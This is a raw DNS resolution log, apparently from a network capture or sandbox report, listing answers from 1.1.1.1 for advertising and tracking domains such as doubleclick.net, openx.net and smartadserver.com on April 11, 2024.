Apr 11, 2024 23:27:27.681195021 CEST	1.1.1.1	192.168.2.17	0x990	No error (0)	eu-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.681195021 CEST	1.1.1.1	192.168.2.17	0x990	No error (0)	eu-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.746064901 CEST	1.1.1.1	192.168.2.17	0xf6b3	No error (0)	contextual.media.net		23.47.168.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:28.156320095 CEST	1.1.1.1	192.168.2.17	0xc832	No error (0)	eu-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:28.156320095 CEST	1.1.1.1	192.168.2.17	0xc832	No error (0)	eu-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:28.582340002 CEST	1.1.1.1	192.168.2.17	0xf9da	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:28.582969904 CEST	1.1.1.1	192.168.2.17	0xba47	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:28.582969904 CEST	1.1.1.1	192.168.2.17	0xba47	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.643881083 CEST	1.1.1.1	192.168.2.17	0xa0a6	No error (0)	bid.g.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.111.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.179.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.163.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.111.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		172.253.115.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.163.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.250.31.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		172.253.115.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		142.251.179.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.644509077 CEST	1.1.1.1	192.168.2.17	0xc167	No error (0)	bid.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257045984 CEST	1.1.1.1	192.168.2.17	0xf27a	No error (0)	bid.g.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.115.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.115.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.179.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.163.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		142.251.163.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.257383108 CEST	1.1.1.1	192.168.2.17	0x7d41	No error (0)	bid.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.264301062 CEST	1.1.1.1	192.168.2.17	0xbfb9	No error (0)	ad.doubleclick.net		142.250.72.102	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.264473915 CEST	1.1.1.1	192.168.2.17	0x54a	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:27:30.733427048 CEST	1.1.1.1	192.168.2.17	0x8dd8	No error (0)	odr.mookie1.com	tagr-gcp-odr-use1.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:30.733427048 CEST	1.1.1.1	192.168.2.17	0x8dd8	No error (0)	tagr-gcp-odr-use1.mookie1.com		35.190.90.30	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.733591080 CEST	1.1.1.1	192.168.2.17	0xc7ba	No error (0)	odr.mookie1.com	tagr-gcp-odr-use1.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:31.185638905 CEST	1.1.1.1	192.168.2.17	0xbeec	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:27:31.185698986 CEST	1.1.1.1	192.168.2.17	0x1bfa	No error (0)	ad.doubleclick.net		142.250.80.102	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:31.220170021 CEST	1.1.1.1	192.168.2.17	0x89de	No error (0)	gcdn.2mdn.net		142.250.80.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:31.235471010 CEST	1.1.1.1	192.168.2.17	0xb405	No error (0)	global.ib-ibi.com		69.169.85.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:36.024535894 CEST	1.1.1.1	192.168.2.17	0xb8fc	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:36.024749994 CEST	1.1.1.1	192.168.2.17	0x6942	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.482016087 CEST	1.1.1.1	192.168.2.17	0xbc79	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.482300997 CEST	1.1.1.1	192.168.2.17	0x47d2	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.487649918 CEST	1.1.1.1	192.168.2.17	0xef77	No error (0)	match.justpremium.com	cookiematch-us-east-1.prod.justpremium.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.488101959 CEST	1.1.1.1	192.168.2.17	0x6c94	No error (0)	match.justpremium.com	cookiematch-us-east-1.prod.justpremium.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.488101959 CEST	1.1.1.1	192.168.2.17	0x6c94	No error (0)	cookiematch-us-east-1.prod.justpremium.com		44.199.149.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.488101959 CEST	1.1.1.1	192.168.2.17	0x6c94	No error (0)	cookiematch-us-east-1.prod.justpremium.com		54.85.198.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.488101959 CEST	1.1.1.1	192.168.2.17	0x6c94	No error (0)	cookiematch-us-east-1.prod.justpremium.com		18.233.215.237	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.488470078 CEST	1.1.1.1	192.168.2.17	0x57ff	No error (0)	dmp.brand-display.com		34.160.19.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.491605043 CEST	1.1.1.1	192.168.2.17	0x4788	No error (0)	openx-ums.acuityplatform.com		69.90.254.78	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.492356062 CEST	1.1.1.1	192.168.2.17	0x7851	No error (0)	openx.adhaven.com		35.244.216.234	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.492425919 CEST	1.1.1.1	192.168.2.17	0x8b1b	No error (0)	tr.blismedia.com		34.96.105.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		52.70.223.132	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.224.106.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.209.244.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.198.23.122	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.197.158.229	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.144.230.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.156.138.144	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.511703014 CEST	1.1.1.1	192.168.2.17	0xd1c2	No error (0)	sync.srv.stackadapt.com		54.157.45.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.859410048 CEST	1.1.1.1	192.168.2.17	0x38	No error (0)	openx2-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.860095024 CEST	1.1.1.1	192.168.2.17	0xc39f	No error (0)	openx2-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.948981047 CEST	1.1.1.1	192.168.2.17	0x123d	No error (0)	match.justpremium.com	cookiematch-us-east-1.prod.justpremium.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.949011087 CEST	1.1.1.1	192.168.2.17	0x1850	No error (0)	match.justpremium.com	cookiematch-us-east-1.prod.justpremium.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:37.949011087 CEST	1.1.1.1	192.168.2.17	0x1850	No error (0)	cookiematch-us-east-1.prod.justpremium.com		18.233.215.237	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.949011087 CEST	1.1.1.1	192.168.2.17	0x1850	No error (0)	cookiematch-us-east-1.prod.justpremium.com		44.199.149.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.949011087 CEST	1.1.1.1	192.168.2.17	0x1850	No error (0)	cookiematch-us-east-1.prod.justpremium.com		54.85.198.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.011768103 CEST	1.1.1.1	192.168.2.17	0xc492	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.011768103 CEST	1.1.1.1	192.168.2.17	0xc492	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.011768103 CEST	1.1.1.1	192.168.2.17	0xc492	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108463049 CEST	1.1.1.1	192.168.2.17	0x1075	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108479977 CEST	1.1.1.1	192.168.2.17	0x4b11	No error (0)	prebid.a-mo.net	ny5-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108479977 CEST	1.1.1.1	192.168.2.17	0x4b11	No error (0)	ny5-prebid.a-mx.net		147.75.198.144	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108479977 CEST	1.1.1.1	192.168.2.17	0x4b11	No error (0)	ny5-prebid.a-mx.net		147.75.195.55	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108479977 CEST	1.1.1.1	192.168.2.17	0x4b11	No error (0)	ny5-prebid.a-mx.net		147.75.195.77	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.187	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.184	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.185	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.178	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.176	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.188	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.108840942 CEST	1.1.1.1	192.168.2.17	0xbf9	No error (0)	hb.yahoo.net		23.40.179.168	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.109288931 CEST	1.1.1.1	192.168.2.17	0x66e4	No error (0)	s.seedtag.com		34.149.50.64	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298623085 CEST	1.1.1.1	192.168.2.17	0x9bc5	No error (0)	vop.sundaysky.com	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298837900 CEST	1.1.1.1	192.168.2.17	0x494d	No error (0)	vop.sundaysky.com	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298837900 CEST	1.1.1.1	192.168.2.17	0x494d	No error (0)	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		34.234.6.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298837900 CEST	1.1.1.1	192.168.2.17	0x494d	No error (0)	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		3.225.254.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298837900 CEST	1.1.1.1	192.168.2.17	0x494d	No error (0)	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		34.238.77.74	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.298837900 CEST	1.1.1.1	192.168.2.17	0x494d	No error (0)	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com		23.23.184.234	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.671087027 CEST	1.1.1.1	192.168.2.17	0x99d3	No error (0)	s2s.t13.io		34.107.140.113	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.158	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.171	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.180	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.170	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.757325888 CEST	1.1.1.1	192.168.2.17	0xff8	No error (0)	hb.yahoo.net		23.40.179.168	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:39.177320004 CEST	1.1.1.1	192.168.2.17	0xacb	No error (0)	pagead-googlehosted.l.google.com		142.250.64.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:39.182619095 CEST	1.1.1.1	192.168.2.17	0x416b	No error (0)	s2s.t13.io		34.107.140.113	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:40.661709070 CEST	1.1.1.1	192.168.2.17	0x9f3b	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:40.661722898 CEST	1.1.1.1	192.168.2.17	0xb5d8	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:40.661722898 CEST	1.1.1.1	192.168.2.17	0xb5d8	No error (0)	securepubads46.g.doubleclick.net		142.251.35.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.265784025 CEST	1.1.1.1	192.168.2.17	0x77f0	No error (0)	triplelift-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:42.278320074 CEST	1.1.1.1	192.168.2.17	0xbe9d	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:42.278320074 CEST	1.1.1.1	192.168.2.17	0xbe9d	No error (0)	s.dsp-prod.demandbase.com		34.96.71.22	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.278364897 CEST	1.1.1.1	192.168.2.17	0xef22	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:42.278647900 CEST	1.1.1.1	192.168.2.17	0x68df	No error (0)	us.creativecdn.com		185.184.10.30	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.339359999 CEST	1.1.1.1	192.168.2.17	0x3384	No error (0)	triplelift-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:42.401618004 CEST	1.1.1.1	192.168.2.17	0x6228	No error (0)	triplelift-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.842933893 CEST	1.1.1.1	192.168.2.17	0xc35	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.845668077 CEST	1.1.1.1	192.168.2.17	0x74ff	No error (0)	sync.adotmob.com		45.137.176.88	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.576961040 CEST	1.1.1.1	192.168.2.17	0x3f65	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.577419996 CEST	1.1.1.1	192.168.2.17	0x2b72	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:49.747590065 CEST	1.1.1.1	192.168.2.17	0xd64b	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:51.588422060 CEST	1.1.1.1	192.168.2.17	0xb8bc	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:51.588422060 CEST	1.1.1.1	192.168.2.17	0xb8bc	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:52.978893042 CEST	1.1.1.1	192.168.2.17	0x9ee7	No error (0)	ps.eyeota.net		52.55.144.0	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:55.743001938 CEST	1.1.1.1	192.168.2.17	0x6520	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:55.743068933 CEST	1.1.1.1	192.168.2.17	0xe1e2	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
